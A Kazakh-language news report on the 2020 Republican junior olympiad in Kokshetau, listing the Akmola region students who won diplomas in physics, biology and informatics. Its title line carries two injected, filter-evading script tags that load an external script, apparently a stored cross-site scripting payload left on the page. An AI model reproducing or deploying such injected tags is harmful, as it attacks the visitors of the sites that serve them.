Республикалық юниор олимпиадасының қорытындысы бойынша ақпарат<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
02.11.2020
2020 жылдың 28 қазанында Көкшетау қаласы, «Білім-инновация» лицей-интернатының базасында 8-9 сынып оқушыларына арналған жаратылыстану-математикалық бағыттағы пәндер бойынша Республикалық юниор олимпиадасы өткізілді.
Олимпиаданың мақсаты − оқушылардың жаратылыстану-математикалық бағыттағы пәндерді оқытуды ынталандыру, жастарды жоғары дәрежедегі олимпиадаларға дайындау.
Олимпиада келесі жалпы білім беру пәндері бойынша өткізілді: математика, физика, информатика, биология, химия, география.
Аталмыш олимпиадаға Ақмола облысынан 25 оқушы қатысты.
Олимпиада қорытындысы нәтижесінде ІІ дәрежелі дипломмен физика пәні бойынша Черемнов Никита - Көкшетау қаласы, гуманитарлы-техникалық мектеп-лицейінің 9 сынып оқушысы марапатталды.
Биология пәні бойынша ІІІ дәрежелі дипломдармен келесі оқушылар марапатталды:
- Базкенов Руслан - Көкшетау қаласы, «Білім-инновация» лицей-интернатының 8 сынып оқушысы;
- Гулый Руслан - Нұр-Сұлтан қаласы, дарынды балаларға арналған №2 облыстық мамандандырылған мектеп-интернатының 9 сынып оқушысы;
- Боровская Анастасия - Көкшетау қаласы, гуманитарлы-техникалық мектеп-лицейінің 9 сынып оқушысы.
Информатика пәні бойынша ІІІ дәрежелі дипломдармен келесі оқушылар марапатталды:
- Ибодуллаев Руслан - Көкшетау қаласы, «Білім-инновация» лицей-интернатының 9 сынып оқушысы;
- Шарипов Алишер - Көкшетау қаласы, «Білім-инновация» лицей-интернатының 9 сынып оқушысы.
Жүлдегерлерімізді құттықтаймыз, алдағы уақытта талай биік белестерді бағындыруына тілектеспіз!